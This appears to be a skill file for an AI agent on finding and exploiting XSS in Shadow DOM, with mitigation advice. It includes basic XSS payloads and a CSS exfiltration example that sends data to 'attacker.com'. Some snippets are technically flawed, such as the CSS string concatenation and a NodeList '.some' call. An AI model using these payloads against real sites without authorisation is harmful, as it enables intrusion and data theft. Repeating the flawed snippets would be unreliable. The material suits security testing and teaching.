Hacktricks-skills shadow-dom-xss
How to identify and exploit Cross-Site Scripting (XSS) vulnerabilities in Shadow DOM contexts. Use this skill whenever the user mentions Shadow DOM, web component security, encapsulated DOM attacks, or needs to test for XSS in modern web applications using Shadow DOM. Make sure to use this skill for any pentesting task involving web components, custom elements, or when analyzing applications that use Shadow DOM for encapsulation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/shadow-dom/SKILL.MDShadow DOM XSS Testing
A skill for identifying and exploiting Cross-Site Scripting vulnerabilities in Shadow DOM contexts during web application security assessments.
What is Shadow DOM?
Shadow DOM is a browser API that provides encapsulation for web components. It creates a separate DOM tree (the "shadow tree") that is hidden from the main document DOM. This encapsulation is designed to prevent style and script leakage between components.
Key concepts:
- Shadow Root: The root of the shadow tree, attached to a host element
- Shadow Host: The element that hosts the shadow DOM
- Light DOM: The regular document DOM visible in the page
- Encapsulation: Styles and scripts in shadow DOM don't leak out, and vice versa
Why Shadow DOM XSS Matters
Shadow DOM was designed to improve encapsulation, but it can introduce new attack vectors:
- False sense of security: Developers may assume Shadow DOM prevents XSS
- Complex attack surface: Multiple DOM boundaries to test
- Event propagation: Events can cross shadow boundaries
- Content injection points: Shadow DOM can still be vulnerable to injection
Detection Methods
1. Identify Shadow DOM Usage
// Check for shadow roots in the page document.querySelectorAll('*').forEach(el => { if (el.shadowRoot) { console.log('Shadow DOM found on:', el); } }); // Check for custom elements customElements.get('element-name');
2. Find Injection Points
Look for these common patterns:
// InnerHTML in shadow DOM (vulnerable) shadowRoot.innerHTML = userInput; // TextContent (safe) shadowRoot.textContent = userInput; // createTextNode (safe) shadowRoot.appendChild(document.createTextNode(userInput));
3. Test Event Handlers
Shadow DOM often uses event listeners that may not properly sanitize:
// Check for event listeners on shadow elements const shadowEl = element.shadowRoot.querySelector('button'); // Test if click handlers process unsanitized data
Common Attack Vectors
1. InnerHTML Injection
The most common vulnerability - when user input is inserted via
innerHTML:
// Vulnerable pattern const shadowRoot = element.attachShadow({mode: 'open'}); shadowRoot.innerHTML = `<div>${userInput}</div>`; // Exploitation userInput = '<script>alert(1)</script>';
2. Attribute Injection
Attributes in shadow DOM can be XSS vectors:
// Vulnerable shadowRoot.querySelector('img').setAttribute('src', userInput); // Exploitation userInput = 'javascript:alert(1)';
3. Event Handler Attributes
// Vulnerable shadowRoot.innerHTML = `<button onclick="${userInput}">Click</button>`; // Exploitation userInput = 'alert(1)';
4. Slot Content Injection
Shadow DOM slots can be exploited if content isn't sanitized:
<!-- Vulnerable slot usage --> <my-component> <slot name="content">${userInput}</slot> </my-component>
5. CSS Injection
While not traditional XSS, CSS can be used for data exfiltration:
/* CSS exfiltration via background-image */ body { background-image: url('https://attacker.com/steal?data=' + stolenData); }
Exploitation Techniques
1. Open vs Closed Shadow DOM
// Open shadow DOM - accessible const shadowRoot = element.shadowRoot; // Closed shadow DOM - harder to access // But still potentially exploitable via other means
2. Event Propagation Exploits
Events bubble through shadow boundaries:
// Event can escape shadow DOM element.shadowRoot.querySelector('button').addEventListener('click', () => { // This can trigger parent handlers });
3. CSS Variable Exfiltration
// Read CSS variables from shadow DOM const style = getComputedStyle(shadowRoot.querySelector('element')); const data = style.getPropertyValue('--secret-data');
4. MutationObserver Bypass
// Shadow DOM mutations may not be observed by parent observers const observer = new MutationObserver(callback); observer.observe(document.body, {childList: true, subtree: true}); // This won't see shadow DOM changes
Testing Checklist
- Identify all Shadow DOM instances on the page
- Check for
usage in shadow DOMinnerHTML - Test all user input fields that affect shadow DOM
- Verify event handlers don't process unsanitized data
- Check slot content sanitization
- Test attribute injection points
- Verify CSS injection possibilities
- Check for open vs closed shadow DOM modes
- Test event propagation across boundaries
- Verify MutationObserver coverage
Mitigation Strategies
1. Use textContent Instead of innerHTML
// Safe shadowRoot.textContent = userInput; // Or shadowRoot.appendChild(document.createTextNode(userInput));
2. Sanitize Input
import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(userInput); shadowRoot.innerHTML = `<div>${clean}</div>`;
3. Use Trusted Types
const policy = trustedTypes.createPolicy('myPolicy', { createHTML: (s) => s, createScriptURL: (s) => s }); shadowRoot.innerHTML = policy.createHTML(sanitizedHTML);
4. Proper Event Handling
// Don't use eval or Function constructor // Validate and sanitize event data
5. Content Security Policy
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
Tools and Resources
Browser DevTools
// Access shadow DOM in console document.querySelector('custom-element').shadowRoot // Inspect shadow DOM // Right-click on element → "Inspect" → navigate to shadow tree
Automated Testing
// Puppeteer example const page = await browser.newPage(); await page.goto('https://target.com'); // Check for shadow DOM const hasShadowDOM = await page.evaluate(() => { return document.querySelectorAll('*').some(el => el.shadowRoot); });
Manual Testing Commands
# Check for shadow DOM in page source curl -s https://target.com | grep -i "attachShadow" # Look for custom element definitions curl -s https://target.com | grep -i "customElements.define"
References
Common Pitfalls
- Assuming Shadow DOM = XSS Protection: Shadow DOM provides encapsulation, not security
- Missing slot injection points: Slots are often overlooked
- Event handler bypasses: Events can cross shadow boundaries
- Closed shadow DOM assumptions: Closed doesn't mean secure
- CSS injection vectors: CSS can be used for data exfiltration
When to Use This Skill
Use this skill when:
- Testing web applications that use web components
- Analyzing modern frameworks (React, Vue, Angular) with shadow DOM
- Investigating XSS vulnerabilities in encapsulated components
- Reviewing custom element implementations
- Assessing applications using Shadow DOM for UI encapsulation
- Any pentesting task involving Shadow DOM or web component security
Example Workflow
- Reconnaissance: Identify Shadow DOM usage on target
- Mapping: Document all shadow roots and their structure
- Input Testing: Test all user input points affecting shadow DOM
- Event Testing: Verify event handlers and propagation
- Slot Testing: Check slot content sanitization
- Documentation: Record findings and exploitation paths
- Reporting: Provide remediation recommendations